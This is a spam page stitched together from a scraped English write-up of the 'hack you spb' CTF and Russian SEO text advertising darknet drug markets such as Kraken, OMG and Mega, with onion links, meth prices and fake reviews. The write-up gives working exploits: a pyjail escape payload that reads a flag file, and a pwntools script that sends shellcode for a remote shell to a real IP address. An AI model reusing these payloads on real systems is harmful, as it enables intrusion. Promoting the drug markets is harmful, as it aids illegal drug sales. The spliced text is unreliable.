Зеркало тор браузера
This is my write-up for recent hack you spb CTF - a CTF for newbies. I guess I'm a bit older here ahaha.Reverse 100:#include <stdio.h>#include <string.h>int main() { char buf[64]; gets(buf); int l = strlen(buf); if (l * l!= 144) return 1; unsigned int a = buf[0] | (buf[4] << 8) | (buf[8] << 16); unsigned int b = buf[1] | (buf[5] << 8) | (buf[9] << 16); unsigned int c = buf[2] | (buf[6] << 8) | (buf[10] << 16); unsigned int d = buf[3] | (buf[7] << 8) | (buf[11] << 16); if (!(((a % 3571) == 2963) && (((a % 2843) == 215)) && (((a % 30243) == 13059)))) return 2; if (!(((b % 80735) == 51964) && (((b % 8681) == 2552)) && (((b % 40624) == 30931)))) return 3; if (!(((c % 99892) == 92228) && (((c % 45629) == 1080)) && (((c % 24497) == 12651)))) return 4; if (!(((d % 54750) == 26981) && (((d % 99627) == 79040)) && (((d % 84339) == 77510)))) return 5; printf("Congratulations %s is flag\n",buf); return 0;}First of all, I think about use something like z3, or any SAT that could give me the valid number. But z3 took a lot of time, so I decided to look deeper... Yes, you could finger out there is a pattern (x % number1 == number2), so you could apply Chinese remainder theorem to get a, b, c.Reverse 200:
This is a.pyc file, which is a file contain python byte-code. As usual, for byte-code relative problems, I search for some python byte-code decompiler and found pycdc.
After decompil, you should get something like this# Source Generated with Decompyle++# File: rev200_bot_7b541a1.pyc (Python 2.7)import configimport tracebackimport refrom base64 import *from twx.botapi import TelegramBot, ReplyKeyboardMarkup, ReplyKeyboardHidesec_state = { }def process_message(bot, u):Warning: Stack history is not empty! if u.message.sender and u.message.text and u.message.chat: chat_id = u.message.chat.id user = u.message.sender.username reply_hide = ReplyKeyboardHide.create() print 'user:%s mes:%s' % (user, u.message.text) if user not in sec_state: sec_state[user] = { 'mode': 15, 'stage': 7 } cmd1 = u.message.text.encode('utf-8') a = re.findall('(\\/\\w+)\\s*(.*)', cmd1) if a: cmd = a[0][0] data = a[0][1] if cmd == '/help': bot.send_message(chat_id, 'Usage: \n\n/help - show this help\n/enter - enter secret mode\n', reply_markup = reply_hide) if cmd == '/enter': keyboard = [ [ '-7-', '-8-', '-9-'], [ '-4-', '-5-', '-6-'], [ '-1-', '-2-', '-3-'], [ '-0-']] reply_markup = ReplyKeyboardMarkup.create(keyboard) bot.send_message(chat_id, 'please enter access code', reply_markup = reply_markup).wait() if sec_state[user]['mode'] == 0 and cmd == '/7779317': ddd = b64decode(data) bot.send_message(chat_id, eval(ddd)) a = re.findall('-(\\d+)-', cmd1) if a: num = a[0] if int(num) == sec_state[user]['stage']: sec_state[user]['stage'] = (sec_state[user]['stage'] * sec_state[user]['stage'] ^ 1337) % 10 sec_state[user]['mode'] = sec_state[user]['mode'] - 1 if sec_state[user]['mode'] < 0: sec_state[user]['mode'] = 0 if sec_state[user]['mode'] == 0: bot.send_message(chat_id, 'Secret mode enabled!', reply_markup = reply_hide).wait() else: print 'NO', num, sec_state[user]['stage'] bot.send_message(chat_id, 'Invalid password!', reply_markup = reply_hide).wait() sec_state[user]['mode'] = 15 bot = TelegramBot(config.token)bot.update_bot_info().wait()print bot.usernamelast_update_id = 0while True: updates = bot.get_updates(offset = last_update_id).wait() try: for update in updates: if int(update.update_id) > int(last_update_id): last_update_id = update.update_id process_message(bot, update) continue continue except Exception: ex = None print traceback.format_exc() continue So this is a kind of chat-bot server based on Telegram.
There is eval function inside, bot.send_message(chat_id, eval(ddd)), so I need to control ddd which is a base64 decoded string from data we sent. Before that, I need to enter Secret mode by enter correct access code (0-9).
First, set sec_state[user]['mode'] = 0; First time, stage init to 7, that changed everytime you press the correct key; But if I dont remember the stage, I still could find out by bruteforce from 0 to 9, if I didn't recv incorrect message that's mean I pressed the correct one; then by use the following script, I'm able to access secret area;#coding: utf-8sec_state = { }user = "A"sec_state[user] = {'mode': 15,'stage': 7 } # bruteforce numbersec_state[user]['mode'] = 15r = []while 1: num = sec_state[user]['stage'] r.append(num) print "-%d-" % num sec_state[user]['stage'] = (sec_state[user]['stage'] * sec_state[user]['stage'] ^ 1337) % 10 sec_state[user]['mode'] = sec_state[user]['mode'] - 1 if sec_state[user]['mode'] < 0: sec_state[user]['mode'] = 0 if sec_state[user]['mode'] == 0: breakprint sec_state[user]['mode']Next, this is a pyjail, so I can't execute normal python command...
So, final payload is `str(().__class__.__base__.__subclasses__()[40]("flag","r").read())`or `/7779317 c3RyKCgpLl9fY2xhc3NfXy5fX2Jhc2VfXy5fX3N1YmNsYXNzZXNfXygpWzQwXSgiZmxhZyIsInIiKS5yZWFkKCkp`Reverse 300:
Let's get some fun.let reverse this (or not?), look at handler (the main function)ssize_t __cdecl handler(int fd){ ssize_t result; // [email protected] unsigned int buf; // [sp+20h] [bp-18h]@1 int v3; // [sp+24h] [bp-14h]@1 char *v4; // [sp+28h] [bp-10h]@4 int v5; // [sp+2Ch] [bp-Ch]@4 buf = 0; setuid(0x3E8u); seteuid(0x3E8u); setgid(0x3E8u); setegid(0x3E8u); result = recv(fd, &buf, 4u, 0); v3 = result; if ( result == 4 ) { result = buf; if ( buf <= 0xC8 ) { v4 = (char *)mmap(0, buf, 7, 33, -1, 0); v3 = recv(fd, v4, buf, 0); result = crc32(0, v4, buf); v5 = result; if ( result == 0xCAFEBABE ) { result = filter(v4, buf) ^ 1; if (!(_BYTE)result ) result = ((int (*)(void))v4)(); } } } return result;}So the basic idea is make result == 0xCAFEBABE, so the program will execute v4 as shellcode (function pointer), but you also need to bypass the filter function - check if contain any of 0x0, 0x1, 0x2f, 0x68, 0x73 ( so I can't use sh in plaintext)then exit; So, I did the following step:1. Find a program that can make crc32 of my shellcode equal 0xCAFEBABE
2. Make a great shellcode and Bypass filter.
By search google for everything, the answer for problem 1 is force-crc32.
Currently I'm also trying to learn some binary exploit method, write a shellcode isn't hard (hint xor), but if there is any framework that's good enough as pwntools , you shoud try at least once.
Basicaly, I import pwns and let pwntools do the rest;from pwn import *import socket, struct, telnetlibdef getCRC(data): import subprocess with open('/tmp/12', 'wb') as f: f.write(data + "123456") subprocess.check_output(['python', 'forcecrc32.py', '/tmp/12', str(len(data)+1), 'CAFEBABE']) with open('/tmp/12', 'rb') as f: data = f.read() return datadef crc32(data):# recheck import zlib return (zlib.crc32(data)) & 0xffffffffd = ""d += asm(pwnlib.shellcraft.i386.linux.dup2(4,0))d += asm(pwnlib.shellcraft.i386.linux.dup2(4,1))# i такое need dup2 because the program use itself as serverd += asm(pwnlib.shellcraft.i386.linux.sh())fsc = pwnlib.encoders.encoder.encode(d, '\n\x01\0\x2f\x73\x68')print len(fsc)fsc = getCRC(fsc) # it didn't contain any blocked char, so i dont need to re-generate again.print hex(crc32(fsc))#yes, i love my custom socket lib 🙁s = socket.create_connection(("78.46.101.237", 3177))s.send(p32(len(fsc)))s.send(fsc)s.send("\n")s.send("cat flag*\n") print s.recv(1024)To be continued....Related
Зеркало тор браузера - Kraken marketplace darknet
Рядом со строкой поиска вы можете найти отзывы о товаре, который искали, а так же рейтинг магазина, который выставляют пользователи, которые уже закупались, а так же там показаны некоторые условия товара, если они имеются. Из данной статьи вы узнаете, как включить на интернет-браузер, чтобы реклама, интернет-провайдер и куки не отслеживали вашу деятельность. Org так и не открылись. Если быть точнее это зеркала. Перейти на Telegram БОТ! Для этого достаточно воспользоваться специальным сервисом. Потребитель не всегда находит товар по причине того что он пожалел своих денег и приобрел товар у малоизвестного, не проверенного продавца, либо же, что не редко встречается, попросту был не внимательным при поиске своего клада. Уважаемые дамы и господа! Onion - TorBox безопасный и анонимный email сервис с транспортировкой писем только внутри TOR, без возможности соединения с клирнетом zsolxunfmbfuq7wf. Onion - cryptex note сервис одноразовых записок, уничтожаются после просмотра. Всегда работающие методы оплаты: BTC, XMR, usdt. Правильная! Но речь то идёт о так называемом светлом интернете, которым пользуются почти все, но мало кому известно такое понятие как тёмный интернет. У Вас есть сайт? Общая идея, которую наверное вкладывали во время создания, эдакая лавка чудес востока, но художник решил, что не Японии или Китая, а почему-то Дальнего Востока. Разброс цен на метамфетамин во всем мире варьируется от 20 до 700 долларов за один грамм. Впрочем, как отмечают создатели, он в большей мере предназначен для просмотра медиаконтента: для ускорения загрузки потокового видео в нём используются компьютеры других пользователей с установленным плагином. Интуитивное управление Сайт сделан доступным и понятным для каждого пользователя, независимо от его навыков. Именно благодаря этому, благодаря доверию покупателей,а так же работе профессиональной администрации Меге, сайт всё время движется только вперёд! На Меге сотни тысяч зарегистрированных пользователей и понятное дело, что каждому не угодишь. События рейтинга Начать тему на форуме Наймите профессиональных хакеров! Площадка ОМГ ОМГ работает день и ночь, без выходных, на этой площадке не бывает дефицита товаров, так как продавцы не допускают опустошения резервов, всё время во всех городах доступно любое желаемое вещество. ОМГ ОМГ - это самый большой интернет - магазин запрещенных веществ, основанный на крипто валюте, который обслуживает всех пользователей СНГ пространства. По количеству зеркал Матанга может легко оставить кого угодно позади, в онионе площадка подтверждает 6 своих зеркал, не один, не два, а целых шесть, так что эти ребята достойны нашего внимания. Onion - Just upload stuff прикольный файловый хостинг в TORе, автоудаление файла после его скачки кем-либо, есть возможность удалять метаданные, ограничение 300 мб на файл feo5g4kj5.onion.
Связь доступна только внутри сервера RuTor. Onion/ - форум FreeHacks Ссылка удалена по притензии роскомнадзора Ссылка удалена по притензии роскомнадзора Сообщения, Анонимные Ящики (коммуникации) Сообщения, анонимные ящики (коммуникации) bah37war75xzkpla. Если у вас нет под рукой мобильного телефона, или камера сломана, или биржа просто не позволяет сгенерировать QR-код для API ключа, можно пойти в веб-версию нашего приложения, скопировать/вставить API ключ через браузер, и он мгновенно синхронизируется с мобильной версией нашего приложения. В отличие от Tor, она не может быть использована для посещения общедоступных сайтов, а только скрытых сервисов. Плагины для браузеров Самым удобным и эффективным средством в этой области оказался плагин для Mozilla и Chrome под названием friGate. Русское сообщество. Раньше была Финской, теперь международная. Содержание статьи: Регистрация на Kraken Верификация на Кракен Как торговать на бирже Kraken Ввод и вывод средств Безопасность на бирже Кракен Дополнительные функции Отзывы о Kraken Kraken Биржа Kraken, основанная в 2011 году Джесси Пауэллом, официально открыла доступ к торгам в 2013 году. Russian Anonymous Marketplace ( ramp 2 ) один из крупнейших русскоязычных теневых форумов и анонимная торговая площадка, специализировавшаяся на продаже наркотических и психоактивных веществ в сети «даркнет». Onion - grams, поисковик по даркнету. GoosO_o Сегодня Норма VladiminaTOR Вчера Мега супер, сегодня с парнями скинулись на стафчик и взяли сразу побольше, спасибо за зеркала! Kraken БОТ Telegram Org, список всех. Простота, удобство, возможность выбора гарантов и фокус на анонимности и безопасности их фишка. Условно бесплатная Windows Android iPhone Mac OS SurfEasy VPN шифрует весь интернет-трафик для защиты вашей конфиденциальности в Интернете. Статья 327 УК РФ лишение свободы на срок до двух лет. Ссылку на кракен в тор найдете на сайте или на форумах wayway и olymprc. После ввода капчи, обновится список мостов и TOR снова заработает. Мария. Много продавцов. Помимо этого, существует еще не один десяток сборников ссылок., например, OnionDir и Oneirun. Так же как и она, соединение состоит из слоёв цепочки прокси. Кракен онион сайт тор Ссылки крамп. Например, государственные хранилища данных, доступ к которым можно получить только по паролю. Такая проблема наблюдается практически у каждого пользователя, так как адрес данного сайта часто меняется, это может быть. Основная теория проекта продвигать возможности личности, снабжая самостоятельный кроме того высоконадежный доступ к Узы. С недавних пор onion-технология стала доступна и для смартфонов, работающих на операционной системе iOS, хоть и не в оригинальном виде. Вы не можете войти на сайт Кракен или Kramp? Admin 10:24 am No Comments Кракен онион сайт ссылка оригинал, кракен оф сайт ссылка, зеркало на kraken тор ссылка, kraken ссылка tor зеркало, kraken ссылка москва,. Настоящая ссылка зеркала только одна. Далее выбираем нужный нам товар и оформляем сделку.